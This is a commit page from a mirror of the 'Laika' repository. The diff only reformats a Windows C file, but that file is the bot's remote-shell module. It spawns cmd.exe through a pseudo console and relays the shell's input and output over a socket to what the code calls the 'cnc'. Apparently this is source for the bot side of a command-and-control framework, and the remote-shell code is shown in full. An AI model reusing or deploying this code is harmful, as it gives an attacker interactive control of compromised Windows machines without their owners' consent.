mirror of
https://github.com/CPunch/Laika.git
synced 2026-02-07 16:50:05 +00:00
Added .clang-format, formatted codebase
This commit is contained in:
@@ -1,14 +1,15 @@
|
||||
/* platform specific code for opening shells (pseudo consoles) on windows */
|
||||
#include "bot.h"
|
||||
#include "lerror.h"
|
||||
#include "lmem.h"
|
||||
#include "bot.h"
|
||||
#include "shell.h"
|
||||
|
||||
#include <windows.h>
|
||||
#include <process.h>
|
||||
#include <windows.h>
|
||||
|
||||
/* shells are significantly more complex on windows than linux for laika */
|
||||
struct sLaika_RAWshell {
|
||||
struct sLaika_RAWshell
|
||||
{
|
||||
struct sLaika_shell _shell;
|
||||
HANDLE in, out;
|
||||
PROCESS_INFORMATION procInfo;
|
||||
@@ -16,12 +17,16 @@ struct sLaika_RAWshell {
|
||||
HPCON pseudoCon;
|
||||
};
|
||||
|
||||
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols, int rows);
|
||||
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols,
|
||||
int rows);
|
||||
HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo, HPCON hPC);
|
||||
|
||||
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id) {;
|
||||
struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int rows, uint32_t id)
|
||||
{
|
||||
;
|
||||
TCHAR szComspec[MAX_PATH];
|
||||
struct sLaika_RAWshell* shell = (struct sLaika_RAWshell*)laikaM_malloc(sizeof(struct sLaika_RAWshell));
|
||||
struct sLaika_RAWshell *shell =
|
||||
(struct sLaika_RAWshell *)laikaM_malloc(sizeof(struct sLaika_RAWshell));
|
||||
HRESULT hr;
|
||||
|
||||
ZeroMemory(shell, sizeof(struct sLaika_RAWshell));
|
||||
@@ -50,34 +55,35 @@ struct sLaika_shell *laikaB_newRAWShell(struct sLaika_bot *bot, int cols, int ro
|
||||
}
|
||||
|
||||
/* launch cmd shell */
|
||||
hr = CreateProcess(
|
||||
NULL, /* No module name - use Command Line */
|
||||
szComspec, /* Command Line */
|
||||
NULL, /* Process handle not inheritable */
|
||||
NULL, /* Thread handle not inheritable */
|
||||
FALSE, /* Inherit handles */
|
||||
EXTENDED_STARTUPINFO_PRESENT, /* Creation flags */
|
||||
NULL, /* Use parent's environment block */
|
||||
NULL, /* Use parent's starting directory */
|
||||
&shell->startupInfo.StartupInfo,/* Pointer to STARTUPINFO */
|
||||
&shell->procInfo) /* Pointer to PROCESS_INFORMATION */
|
||||
? S_OK : HRESULT_FROM_WIN32(GetLastError());
|
||||
hr = CreateProcess(NULL, /* No module name - use Command Line */
|
||||
szComspec, /* Command Line */
|
||||
NULL, /* Process handle not inheritable */
|
||||
NULL, /* Thread handle not inheritable */
|
||||
FALSE, /* Inherit handles */
|
||||
EXTENDED_STARTUPINFO_PRESENT, /* Creation flags */
|
||||
NULL, /* Use parent's environment block */
|
||||
NULL, /* Use parent's starting directory */
|
||||
&shell->startupInfo.StartupInfo, /* Pointer to STARTUPINFO */
|
||||
&shell->procInfo) /* Pointer to PROCESS_INFORMATION */
|
||||
? S_OK
|
||||
: HRESULT_FROM_WIN32(GetLastError());
|
||||
|
||||
if (hr != S_OK) {
|
||||
DeleteProcThreadAttributeList(shell->startupInfo.lpAttributeList);
|
||||
laikaM_free(shell->startupInfo.lpAttributeList);
|
||||
|
||||
|
||||
ClosePseudoConsole(shell->pseudoCon);
|
||||
|
||||
laikaM_free(shell);
|
||||
return NULL;
|
||||
}
|
||||
|
||||
return (struct sLaika_shell*)shell;
|
||||
return (struct sLaika_shell *)shell;
|
||||
}
|
||||
|
||||
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
|
||||
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
|
||||
void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
|
||||
{
|
||||
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
|
||||
|
||||
/* kill process (it's ok if it fails) */
|
||||
TerminateProcess(shell->procInfo.hProcess, 0);
|
||||
@@ -99,8 +105,11 @@ void laikaB_freeRAWShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
|
||||
|
||||
/* ====================================[[ Shell Handlers ]]===================================== */
|
||||
|
||||
/* edited from https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
|
||||
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols, int rows) {
|
||||
/* edited from
|
||||
* https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
|
||||
HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPipeOut, int cols,
|
||||
int rows)
|
||||
{
|
||||
COORD consoleSize = (COORD){.X = cols, .Y = rows};
|
||||
HANDLE hPipePTYIn = INVALID_HANDLE_VALUE;
|
||||
HANDLE hPipePTYOut = INVALID_HANDLE_VALUE;
|
||||
@@ -108,11 +117,14 @@ HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPip
|
||||
DWORD mode = PIPE_NOWAIT;
|
||||
|
||||
/* create the pipes to which the ConPTY will connect */
|
||||
if (!CreatePipe(&hPipePTYIn, phPipeOut, NULL, 0) || !CreatePipe(phPipeIn, &hPipePTYOut, NULL, 0))
|
||||
if (!CreatePipe(&hPipePTYIn, phPipeOut, NULL, 0) ||
|
||||
!CreatePipe(phPipeIn, &hPipePTYOut, NULL, 0))
|
||||
return HRESULT_FROM_WIN32(GetLastError());
|
||||
|
||||
/* anon pipes can be set to non-blocking for backwards compatibility. this makes our life much easier so it fits in nicely with
|
||||
the rest of the laika codebase (https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-setnamedpipehandlestate) */
|
||||
/* anon pipes can be set to non-blocking for backwards compatibility. this makes our life much
|
||||
easier so it fits in nicely with the rest of the laika codebase
|
||||
(https://docs.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-setnamedpipehandlestate)
|
||||
*/
|
||||
if (!SetNamedPipeHandleState(*phPipeIn, &mode, NULL, NULL))
|
||||
return HRESULT_FROM_WIN32(GetLastError());
|
||||
|
||||
@@ -127,8 +139,10 @@ HRESULT CreatePseudoConsoleAndPipes(HPCON *phPC, HANDLE *phPipeIn, HANDLE *phPip
|
||||
return hr;
|
||||
}
|
||||
|
||||
/* also edited from https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
|
||||
HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo, HPCON hPC) {
|
||||
/* also edited from
|
||||
* https://github.com/microsoft/terminal/blob/main/samples/ConPTY/EchoCon/EchoCon/EchoCon.cpp */
|
||||
HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo, HPCON hPC)
|
||||
{
|
||||
HRESULT hr = E_UNEXPECTED;
|
||||
|
||||
if (pStartupInfo) {
|
||||
@@ -140,19 +154,15 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo
|
||||
pStartupInfo->lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)laikaM_malloc(attrListSize);
|
||||
|
||||
/* Initialize thread attribute list */
|
||||
if (pStartupInfo->lpAttributeList
|
||||
&& InitializeProcThreadAttributeList(pStartupInfo->lpAttributeList, 1, 0, &attrListSize)){
|
||||
if (pStartupInfo->lpAttributeList &&
|
||||
InitializeProcThreadAttributeList(pStartupInfo->lpAttributeList, 1, 0, &attrListSize)) {
|
||||
|
||||
/* Set Pseudo Console attribute */
|
||||
hr = UpdateProcThreadAttribute(
|
||||
pStartupInfo->lpAttributeList,
|
||||
0,
|
||||
PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE,
|
||||
hPC,
|
||||
sizeof(HPCON),
|
||||
NULL,
|
||||
NULL)
|
||||
? S_OK : HRESULT_FROM_WIN32(GetLastError());
|
||||
hr = UpdateProcThreadAttribute(pStartupInfo->lpAttributeList, 0,
|
||||
PROC_THREAD_ATTRIBUTE_PSEUDOCONSOLE, hPC, sizeof(HPCON),
|
||||
NULL, NULL)
|
||||
? S_OK
|
||||
: HRESULT_FROM_WIN32(GetLastError());
|
||||
} else {
|
||||
hr = HRESULT_FROM_WIN32(GetLastError());
|
||||
}
|
||||
@@ -161,13 +171,15 @@ HRESULT InitializeStartupInfoAttachedToPseudoConsole(STARTUPINFOEX *pStartupInfo
|
||||
return hr;
|
||||
}
|
||||
|
||||
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
|
||||
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t)];
|
||||
struct sLaika_peer* peer = bot->peer;
|
||||
struct sLaika_socket* sock = &peer->sock;
|
||||
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
|
||||
bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell)
|
||||
{
|
||||
char readBuf[LAIKA_SHELL_DATA_MAX_LENGTH - sizeof(uint32_t)];
|
||||
struct sLaika_peer *peer = bot->peer;
|
||||
struct sLaika_socket *sock = &peer->sock;
|
||||
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
|
||||
DWORD rd;
|
||||
bool readSucc = ReadFile(shell->in, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH-sizeof(uint32_t), &rd, NULL);
|
||||
bool readSucc =
|
||||
ReadFile(shell->in, readBuf, LAIKA_SHELL_DATA_MAX_LENGTH - sizeof(uint32_t), &rd, NULL);
|
||||
|
||||
if (readSucc) {
|
||||
/* we read some input! send to cnc */
|
||||
@@ -176,7 +188,8 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
|
||||
laikaS_write(sock, readBuf, rd);
|
||||
laikaS_endVarPacket(peer);
|
||||
} else {
|
||||
if (GetLastError() == ERROR_NO_DATA && WaitForSingleObject(shell->procInfo.hProcess, 0) == WAIT_TIMEOUT)
|
||||
if (GetLastError() == ERROR_NO_DATA &&
|
||||
WaitForSingleObject(shell->procInfo.hProcess, 0) == WAIT_TIMEOUT)
|
||||
return true; /* recoverable, process is still alive */
|
||||
/* unrecoverable error */
|
||||
laikaB_freeShell(bot, _shell);
|
||||
@@ -186,16 +199,18 @@ bool laikaB_readShell(struct sLaika_bot *bot, struct sLaika_shell *_shell) {
|
||||
return true;
|
||||
}
|
||||
|
||||
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf, size_t length) {
|
||||
struct sLaika_peer* peer = bot->peer;
|
||||
struct sLaika_socket* sock = &peer->sock;
|
||||
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell*)_shell;
|
||||
bool laikaB_writeShell(struct sLaika_bot *bot, struct sLaika_shell *_shell, char *buf,
|
||||
size_t length)
|
||||
{
|
||||
struct sLaika_peer *peer = bot->peer;
|
||||
struct sLaika_socket *sock = &peer->sock;
|
||||
struct sLaika_RAWshell *shell = (struct sLaika_RAWshell *)_shell;
|
||||
size_t nLeft;
|
||||
DWORD nWritten;
|
||||
|
||||
nLeft = length;
|
||||
while (nLeft > 0) {
|
||||
if (!WriteFile(shell->out, (void*)buf, length, &nWritten, NULL)) {
|
||||
if (!WriteFile(shell->out, (void *)buf, length, &nWritten, NULL)) {
|
||||
/* unrecoverable error */
|
||||
laikaB_freeShell(bot, _shell);
|
||||
return false;
|
||||
|
||||
Reference in New Issue
Block a user